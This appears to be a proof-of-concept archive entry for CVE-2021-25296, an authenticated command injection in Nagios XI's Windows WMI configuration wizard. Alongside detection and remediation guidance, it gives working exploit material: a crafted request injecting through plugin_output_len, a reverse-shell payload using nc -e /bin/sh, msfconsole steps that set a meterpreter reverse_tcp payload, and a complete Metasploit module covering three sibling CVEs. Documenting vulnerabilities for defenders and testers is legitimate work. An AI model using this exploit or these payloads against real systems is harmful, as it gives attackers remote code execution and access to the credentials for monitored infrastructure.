PoC Archive PoC Archive
High CVE-2021-25296 patched

Nagios XI 5.5.6–5.7.5 Authenticated OS Command Injection — Windows WMI Config Wizard (CVE-2021-25296)

by Matthew Mathur (Rapid7) — Metasploit module; original bug report by fs0c-sh · 2026-07-11

Metadata

FieldValue
Date Added2026-07-11
Last UpdatedN/A
Author / ResearcherMatthew Mathur (Rapid7) — Metasploit module; original bug report by fs0c-sh
CVE / AdvisoryCVE-2021-25296
Categoryweb
SeverityHigh
CVSS Score8.8 (CVSS 3.1, AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized (public Metasploit module + nuclei templates, in CISA KEV)
Tagsnagios-xi, os-command-injection, authenticated, config-wizard, windowswmi, cwe-78, kev, metasploit
RelatedSame disclosure, distinct injection points in the same authenticated RCE chain: 2026-07-11_cve-2021-25297-nagios-xi-switch-command-injection (switch config wizard), 2026-07-11_cve-2021-25298-nagios-xi-cloudvm-command-injection (cloud-vm config wizard). All three share the same vulnerability class, the same authenticated HTTP entry point (monitoringwizard.php), and the same public Metasploit module.

Affected Target

FieldValue
Software / SystemNagios XI — Windows WMI monitoring configuration wizard
Versions AffectedNagios XI 5.5.6 through 5.7.5
Language / PlatformPHP (Apache/CentOS-based Nagios XI appliance)
Authentication RequiredYes — any valid Nagios XI user account (admin or non-admin)
Network Access RequiredYes

Summary

Nagios XI’s “Windows WMI” configuration wizard (/usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php) builds a WMI-check shell command using several attacker-supplied HTTP parameters, including plugin_output_len. The value is never validated as an integer (despite its name implying a numeric length) and is concatenated directly into a string later passed to PHP’s exec(). Any authenticated Nagios XI user — including a low-privileged, non-admin account — can submit a crafted plugin_output_len value containing shell metacharacters to the wizard’s step-3 request and execute arbitrary OS commands as the apache user. This is one of three sibling command-injection bugs (CVE-2021-25296/25297/25298) disclosed together, each in a different config wizard, all reachable through the same monitoringwizard.php endpoint.


Vulnerability Details

Root Cause

Inside windowswmi.inc.php, the wizard assembles a WMI diagnostic command that is executed via exec($disk_wmi_command, $disk_output, $disk_return_var). The plugin_output_len HTTP parameter is spliced into $disk_wmi_command without sanitization or type coercion (it should be cast to an integer but is used as a raw string). An attacker can append a ;-separated shell command to the numeric-looking value and have it executed alongside the intended WMI check.

Attack Vector

An authenticated GET request to /nagiosxi/config/monitoringwizard.php with wizard=windowswmi, nextstep=3, a valid CSRF nsp token for the session, and a plugin_output_len parameter of the form <digits>; <command>;. Per the public Metasploit module and the PacketStorm advisory, a representative injected value is:

plugin_output_len=1024; nc -e /bin/sh 127.0.0.1 4444;

No admin privileges are required — any valid, low-privileged Nagios XI login is sufficient, satisfying PR:L in the CVSS vector.

Impact

Remote code execution as the apache user on the Nagios XI host, which typically has broad read/write access to Nagios configuration, credentials for monitored infrastructure (SNMP communities, WMI/Windows admin creds entered into other wizards, cloud provider API tokens), and often a path to root via local Nagios XI privilege-escalation issues.


Environment / Lab Setup

OS:          Official Nagios XI OVA/ISO, versions 5.5.6 - 5.7.5 (tested against CentOS 7 minimal per the Metasploit module notes)
Target:      Nagios XI web UI at https://<target>/nagiosxi/
Attacker:    Metasploit Framework 6.x, or curl/Python with a valid Nagios XI login
Tools:       msfconsole, curl, Burp Suite

Setup Steps


Proof of Concept

Step-by-Step Reproduction

  1. Authenticate — Log in to Nagios XI with any valid user account to obtain session cookies and extract the CSRF nsp token embedded in the authenticated pages (the Metasploit module’s authenticate() helper does this automatically).

  2. Trigger the Windows WMI wizard, step 3 — Send an authenticated GET request to monitoringwizard.php with the wizard-specific parameters, injecting a shell command via plugin_output_len:

    1
    2
    3
    
    GET /nagiosxi/config/monitoringwizard.php?update=1&nsp=<csrf_token>&nextstep=3&wizard=windowswmi&ip_address=203.0.113.7&domain=CORP&username=svc&password=svc&plugin_output_len=1024%3B%20id%3B HTTP/1.1
    Host: <target>
    Cookie: <auth_cookies>
    
  3. Observe execution — The Nagios XI backend runs exec($disk_wmi_command, ...), which now also executes the injected id; (or reverse-shell one-liner) as the apache user. The HTTP response may hang or time out if the injected command does not return, which is expected when using a reverse-shell payload.

Exploit Code

See nagios_xi_configwizards_authenticated_rce.rb in this folder — mirrored verbatim from the public Rapid7 Metasploit module exploit/linux/http/nagios_xi_configwizards_authenticated_rce, which supports all three sibling CVEs via a TARGET_CVE datastore option. For CVE-2021-25296 it builds the request as follows (excerpted from that module source):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
url_params = {
  'update' => 1,
  'nsp'    => @nsp
}

url_params = url_params.merge({
  'nextstep'         => 3,
  'wizard'           => 'windowswmi',
  'ip_address'       => Array.new(4) { rand(256) }.join('.'),
  'domain'           => Rex::Text.rand_text_alphanumeric(7..15),
  'username'         => Rex::Text.rand_text_alphanumeric(7..20),
  'password'         => Rex::Text.rand_text_alphanumeric(7..20),
  'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};"
})

send_request_cgi({
  'method'  => 'GET',
  'uri'     => '/nagiosxi/config/monitoringwizard.php',
  'cookie'  => @auth_cookies,
  'vars_get' => url_params
})

Usage:

msf6 > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce
msf6 exploit(...) > set TARGET_CVE CVE-2021-25296
msf6 exploit(...) > set RHOSTS <target>
msf6 exploit(...) > set USERNAME <nagios_user>
msf6 exploit(...) > set PASSWORD <nagios_pass>
msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(...) > run

Expected Output

[*] Sending the payload...
[*] Command shell session / Meterpreter session opened
uid=48(apache) gid=48(apache) groups=48(apache)

Detection & Indicators of Compromise

"GET /nagiosxi/config/monitoringwizard.php?...&wizard=windowswmi&...&plugin_output_len=1024%3B%20id%3B... HTTP/1.1" 200

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"Nagios XI CVE-2021-25296 windowswmi command injection attempt"; content:"wizard=windowswmi"; http_uri; content:"plugin_output_len="; http_uri; pcre:"/plugin_output_len=\d+%3[bB]/U"; sid:9000101;)

Remediation

ActionDetail
PatchUpgrade to Nagios XI 5.8.0 or later, which validates/sanitizes config-wizard parameters before shell execution.
WorkaroundRestrict Nagios XI web UI access to trusted admin networks; disable or remove unused config wizards; enforce least-privilege Nagios XI accounts.
Config HardeningFront the Nagios XI web UI with a WAF rule blocking shell metacharacters in monitoringwizard.php query parameters (see nuclei-templates PR referenced below for an active-check detection template).

References


Notes

Surfaced via a CVE discovery pass (NVD + CISA KEV + EPSS scoring) on 2026-07-11 and ingested from public sources — this entry was not independently reproduced against a live Nagios XI instance in this repository; the request shape and vulnerable parameter (plugin_output_len) are grounded directly in the actual Rapid7 Metasploit module source (fetched from rapid7/metasploit-framework on GitHub) and corroborated by the PacketStorm/fs0c-sh technical write-up, which independently confirms the same parameter and exec() sink. EPSS score at time of ingestion: 0.715. This CVE has been in the CISA KEV catalog since 2022-01-18, confirming in-the-wild exploitation.

Cross-reference: CVE-2021-25297 (switch wizard, address/ip_address parameter) and CVE-2021-25298 (cloud-vm wizard, address/ip_address parameter) were disclosed as part of the same batch and share the same authenticated entry point, CSRF-token retrieval flow, and Metasploit module — see the sibling entries linked above.

nagios_xi_configwizards_authenticated_rce.rb
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::NagiosXi
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection',
        'Description' => %q{
          This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are
          OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm
          configuration wizards that allow an authenticated user to perform remote code
          execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.

          Valid credentials for a Nagios XI user are required. This module has
          been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Matthew Mathur'
        ],
        'References' => [
          ['CVE', '2021-25296'],
          ['CVE', '2021-25297'],
          ['CVE', '2021-25298'],
          ['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md']
        ],
        'Targets' => [
          [
            'Linux (x86)', {
              'Arch' => [ ARCH_X86 ],
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux (x64)', {
              'Arch' => [ ARCH_X64 ],
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'CMD', {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'unix',
              # the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }
            }
          ]
        ],
        'Privileged' => false,
        'DefaultTarget' => 2,
        'DisclosureDate' => '2021-02-13',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296'])
    ]
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def finish_install
    datastore['FINISH_INSTALL']
  end

  def check
    # Authenticate to ensure we can access the NagiosXI version
    auth_result, err_msg, @auth_cookies, @version, @nsp = authenticate(username, password, finish_install, true, true, true)
    case auth_result
    when AUTH_RESULTS[:connection_failed]
      return CheckCode::Unknown(err_msg)
    when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
      return CheckCode::Detected(err_msg)
    when AUTH_RESULTS[:not_nagios_application]
      return CheckCode::Safe(err_msg)
    end

    if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5')
      return CheckCode::Appears("Version #{@version} appears to be vulnerable")
    end

    return CheckCode::Safe("Version #{@version} is not vulnerable")
  end

  def execute_command(cmd, _opts = {})
    if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check
      auth_result, err_msg, @auth_cookies, @version, @nsp = authenticate(username, password, finish_install, true, true, true)
      case auth_result
      when AUTH_RESULTS[:connection_failed]
        return CheckCode::Unknown(err_msg)
      when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
        return CheckCode::Detected(err_msg)
      when AUTH_RESULTS[:not_nagios_application]
        return CheckCode::Safe(err_msg)
      end
    end

    # execute payload based on the selected targeted configuration wizard
    url_params = {
      'update' => 1,
      'nsp' => @nsp
    }
    # After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298
    # changes from address to ip_address
    if @version <= Rex::Version.new('5.5.7')
      address_param = 'address'
    else
      address_param = 'ip_address'
    end

    # CVE-2021-25296 affects the windowswmi configuration wizard.
    if datastore['TARGET_CVE'] == 'CVE-2021-25296'
      url_params = url_params.merge({
        'nextstep' => 3,
        'wizard' => 'windowswmi',
        'ip_address' => Array.new(4) { rand(256) }.join('.'),
        'domain' => Rex::Text.rand_text_alphanumeric(7..15),
        'username' => Rex::Text.rand_text_alphanumeric(7..20),
        'password' => Rex::Text.rand_text_alphanumeric(7..20),
        'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};"
      })
    # CVE-2021-25297 affects the switch configuration wizard.
    elsif datastore['TARGET_CVE'] == 'CVE-2021-25297'
      url_params = url_params.merge({
        'nextstep' => 3,
        'wizard' => 'switch',
        address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};",
        'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15),
        'scaninterfaces' => 'on'
      })
    # CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by
    # specifying the digitalocean option for the wizard parameter.
    elsif datastore['TARGET_CVE'] == 'CVE-2021-25298'
      url_params = url_params.merge({
        address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};",
        'nextstep' => 4,
        'wizard' => 'digitalocean'
      })
    else
      fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.')
    end

    print_status('Sending the payload...')
    # Send the final request. Note that the target is not expected to respond if we get
    # code execution. Therefore, we set the timeout on this request to 0.
    send_request_cgi({
      'method' => 'GET',
      'uri' => '/nagiosxi/config/monitoringwizard.php',
      'cookie' => @auth_cookies,
      'vars_get' => url_params
    })
  end

  def exploit
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded)
    else
      execute_cmdstager(background: true)
    end
  end
end